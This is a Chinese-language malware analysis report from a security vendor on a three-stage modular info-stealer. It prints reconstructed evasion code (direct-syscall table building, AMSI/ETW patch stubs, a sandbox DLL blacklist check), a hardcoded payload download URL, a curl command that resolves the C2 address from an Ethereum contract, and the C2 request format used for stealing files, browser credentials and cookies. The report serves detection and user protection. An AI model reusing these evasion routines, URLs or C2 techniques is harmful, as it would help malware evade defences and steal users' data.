多层伪装躲避防护检测!分层式模块化窃密木马解析
-
作者:火绒安全
-
发布时间:2026-09-17
-
阅读量:1093
1. 样本概括
目前,火绒安全产品已具备对该恶意软件全攻击链的精准识别与拦截能力,可有效阻断其下载、加载及窃密行为。

查杀图
2. 流程图

3. 阶段一:干扰型下载器
第一层先调用垃圾线程启动器,然后使用硬编码 URL http://185.177.239.241:5001/dit.bin ,调用下载执行函数加载并执行载荷。
3.1 后台“垃圾任务”线程的构成与作用
register_noise_worker_threads通过一个间接线程封装把一组的任务函数逐个注册为常驻线程;经确认,可把任务分成以下类型:
1.为纯 CPU 忙等型,执行高强度数学、大整数、素数筛选及随机数/数据混洗计算,持续消耗 CPU 资源以拖延沙箱分析;

2.为注册表噪音型,频繁枚举、创建并删除 HKCU 下的随机注册表键和值,制造大量注册表操作事件;

3.为文件噪音型,在%TEMP%中反复创建、读写并删除随机临时文件,制造文件 I/O 噪音;

4.为 GUI 噪音型,反复创建隐藏的随机绘图窗口并执行大量 GDI 绘制操作,随后销毁窗口以制造 GUI 事件噪音;

5.为进程噪音型,随机启动多个常见系统程序及命令解释器,并短暂运行或随机终止,制造大量进程创建/终止事件;

6.为网络探测型,对多个常见网站发起 HTTP GET 请求并读取响应,制造网络访问与连接噪音;

7.为命令执行型,随机执行网络配置、文件清理、系统信息查询及磁盘检查等命令,制造命令执行与系统活动噪音;

综合来看,这些线程通过持续执行各类杂务操作,在主机上制造高频系统活动,以拖延沙箱分析、制造大量事件噪音并分散监控关注点。
3.2 下载并内存执行
download_and_execute_payload 是下载执行器,将 URL 下载至缓存文件,读取至内存后删除缓存文件,随后以内存线程方式执行载荷。

4. 阶段二:dit.bin —— 自解密的反射加载器
dit.bin 由入口跳转、配置上下文、加密载荷和尾部低熵的加载主代码组成。

执行时,入口跳转主代码区,靠返回地址完成位置无关自定位,是典型的PIC shellcode 方式。 主函数读标志位后选择走loader_core分支;若该字段非0则执行另一条更复杂的装载路径。

loader_core首先解析三个 API,随后分配缓冲区,把整个ctx复制过去, 若ctx+0x234 == 3,则以ctx+0x14处 16 字节为“key”、ctx+0x4处 16 字节为“secret”,调用decoder_region就地解密从ctx+0x23C开始、长度ctx[0]−0x23C的密文;
解密前

解密后

解密后,依次解析配置中的 5 个 DLL,在已加载模块链中查找,缺失则通过回调加载。 加载前,根据配置中的 Hook 目标,通过 PEB 和 Export Directory 定位函数入口,直接覆盖 12 字节 Stub 实施内联 Hook。

自定义stub为:
mov rax, [rsp+28h]
and dword ptr [rax], 0
xor eax, eax
retn
int 3
mov rax, [rsp+30h]
and dword ptr [rax], 0
xor eax, eax
retn
int 3
本样本实际只Hook了3个函数AmsiScanBuffer、AmsiScanString、EtwEventWrite,WLDP与另两个导出仅存在于配置名单。

最后按载荷描述结构中的类型字段分派:类型 1/2 走type12_handler_a/b/finalize,类型 3/4 走type34_handler,类型 5/6 走type56_handler,本样本配置只启用了type34_handler这一种。

type34_handler 是一个标准的手动映射PE 加载器,将第三阶段载荷加载到内存执行。
5. 阶段三: 收集型载荷
5.1 整体流程
解密得到 winhttp.dll 后依次执行三项环境检查,全部通过后初始化 C2 并进入主循环 main_c2_loop。

5.2 反分析与环境检测
样本在开始收集数据之前,会进行环境检测。
5.2.1 直接系统调用
样本通过解析系统核心模块的导出表,逐个提取以 Nt 开头的系统函数的调用编号,运行时按编号直接向内核发起请求。
void BuildSyscallTable(uint8_t *module)
{
IMAGE_EXPORT_DIRECTORY *exp =GetExportDirectory(module);
uint32_t numberOfNames = exp->NumberOfNames;
DWORD *functions =
(DWORD *)(module + exp->AddressOfFunctions);
DWORD *names =
(DWORD *)(module + exp->AddressOfNames);
WORD *ordinals =
(WORD *)(module + exp->AddressOfNameOrdinals);
for (uint32_t i = 0; i < numberOfNames; i++)
{
char *name = module + names[i];
if (name[0] != 'N' || name[1] != 't')
continue;
uint32_t hash = HashNtName(name);
WORD ordinal = ordinals[i];
uint8_t *func =
module + functions[ordinal];
int found = -1;
for (uint32_t off = 0; off < 0x20; off++)
{
if (*(uint8_t *)(func + off) == 0xC3)
break;
if (*(uint32_t *)(func + off) ==
0xB8D18B4C)
{
uint32_t ssn =
*(uint32_t *)(func + off + 4);
found = ssn;
break;
}
}
if (found != -1)
{
if (!AlreadyInTable(hash))
{
AddEntry(hash, found);
}
}
}
}
hash--ssn映射表

5.2.3 已加载模块黑名单
启动后遍历进程已加载模块,将模块名经固定算法计算为 32 位校验值,并与 18 项黑名单比对;命中任一项则终止进程。
bool Guard_ModuleScan(void)
{
uint32_t blacklist[18];
memcpy(blacklist, g_sandbox_dll_hashes, sizeof(blacklist)); /* 72 字节定长哈希表 */
PEB *peb = (PEB *)__readgsqword(0x30);
LIST_ENTRY *head = &peb->Ldr->InLoadOrderModuleList;
for (LIST_ENTRY *p = head->Flink; p != head; p = p->Flink) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(p, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (!e->BaseDllName.Buffer)
continue;
uint32_t seed = ModuleHash_Seed(); /* 初始化上下文值 ^ 0xAE42BCCC */
uint32_t h = WideModuleHash(e->BaseDllName.Buffer, seed); /* 逐 WORD + 8 轮 LFSR + 取反 */
for (int i = 0; i < 18; i++)
if (h == blacklist[i])
return true; /* 命中沙箱/分析工具 DLL → 入口随即 ExitProcess */
}
return false;
}
沙箱 / AV / 蜜罐 DLL 黑名单

5.3 数据窃取
样本采用两种数据窃取方式:
- 指令驱动型:由攻击者服务器实时下发指令,可指定文件、目录或浏览器数据类别,实施按需定向窃取。
自动收集型:每次与服务器交互结束阶段自动执行固定数据收集,无需攻击者下发指令。 样本的窃取范围覆盖“账号类数据、浏览类数据、平台类数据、邮件类数据、主机类数据”五个方向,具体如下:

5.4 命令与控制
5.4.1 URL 解密
样本 C2 采用双通道寻址,3 个静态地址经 ChaCha20 加密存储于二进制中,另有 1 个动态地址通过以太坊 JSON-RPC 实时解析获取。


以太坊链上动态寻址机制,C2 地址的部分解析被托管到以太坊公链之上。通过公共以太坊节点查询特定合约的返回值,再从返回结果中提取 URL。
curl "https://ethereum-rpc.publicnode.com" -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":[{\"to\":\"0x999941b74F6bbc921D5174A5b29911562cd2D7CF\",\"data\":\"0xc2fb26a6\"},\"latest\"]}" -o resp
响应的解析流程为:先解密键名result,定位到 result 字段后遍历至 NUL终止符,提取最后 64 个十六进制字符并拼接为 URL。
{"jsonrpc":"2.0","id":1,"result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000017687474703a2f2f666967687477612e62697a3a35393032000000000000000000"}
5.4.2请求包构造
样本与 C2 的交互均封装于 HTTP 请求中,采用标准表单传输指令与状态,上报采集结果时使用多段表单。请求头通过伪造 Host 和伪装User-Agent进行通信伪装。
POST /tasks HTTP/1.1
Host: github.com ← 伪装头
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded ← 表单通道(取命令/上报)(multipart/form-data; boundary=… 用于采集数据上传;
access_token=<全局缓冲>
&step=<十进制轮次,div 10 + 0x30 转文本>
&type=<命令类型>
&data=<命令数据>
[&id=…&name=…&path=…&depth=…&sync=…&indb=…&extensions=…&link=…&lib=…]
请求体由一组键值对构成,键名在样本内不以明文保存,而是在运行时逐字解密后再拼装,键值的语义如下:

5.4.3 响应包解析
样本实现了一套自带的 JSON 解析器。
/* 响应解析器:节点 = { uint64 value; node *next; char *key }; */
int Json_Parse(const char *s, const char **out_end, uint64_t *out_root, POOL *pool)
{
int depth = -1;
char kind[32]; /* 容器类型栈(2=数组 3=对象) */
void *cur[32], *pending[32]; /* 当前成员链 / 待挂载值 */
for (;;) {
while (isspace((unsigned char)*s)) s++;
switch (*s++) {
case '"': /* 字符串:去转义;\uXXXX → UTF-8 */
case '0' ... '9': case '-': /* 数字:整数/小数/指数 → IEEE-754 double 位模式 */
case 't': case 'f': case 'n': /* true/false/null */
case '[': case '{': /* 容器入栈;depth 达 32 → 返回 4 */
case ']': case '}': /* 容器闭合;类型不符 → 返回 6 */
case ',': case ':': /* 分隔符校验;有键无值 → 返回 8 */
default: return 7; /* 非法 token */
}
/* 值就绪:作为数组元素 / 对象成员挂入链表;depth == -1 时返回 0解析完成 */
}
}
响应解析完成后,样本会从中取出两个公共键:type与data;其余键按指令类型选择性读取。完整字段集如下:

5.4.4 C2 命令分发
样本把响应中的 type 作为唯一分发依据。
int cmd_dispatch(void *ctx, int type)
{
switch (type) { /* 0–5 命中 6 项跳转表 */
case 0: return dir_entry_collect(ctx, json_root); /* 目录/条目树采集 */
case 1: return cleanup_and_return_0(); /* 空操作 */
case 2: return file_copy_collect(json_root); /* 任意文件窃取 */
case 3: return ext_and_creds_collect(json_root); /* 浏览器数据(history/credentials/cookies/ldb) */
case 4: return ext_table_collect(ctx, json_root); /* 枚举目录, Firefox/NSS 库 key4.db */
case 5: return cleanup_and_return_0(); /* 收尾:下一跳投递 / 执行 / 下载 */
}
}
在每轮交互收尾时,样本都会无条件执行一轮本地收集,与服务器是否下发指令无关:枚举已安装软件清单、枚举运行中进程清单、取走游戏平台的登录态数据、按条件抓取多显示器整屏截图、采集显示设备信息,并分两批压缩加密上传服务器。
该木马可通过层层伪装躲避安全防护软件检测,既会自动偷取电脑里的各类隐私资料,也能听从攻击者指令定向盗取文件、账号信息。用户一旦中招,将会为用户带来极大的信息外泄风险。火绒安全在此提醒广大用户:
1.不要随意点开陌生邮件、聊天软件发来的不明文件,尽量不下载网上的破解、激活类工具;
2.保持安全防护软件正常开启,重要文件做好备份;
3.如果电脑出现异常卡顿、莫名联网等情况,请及时全盘扫描排查风险。
IOC

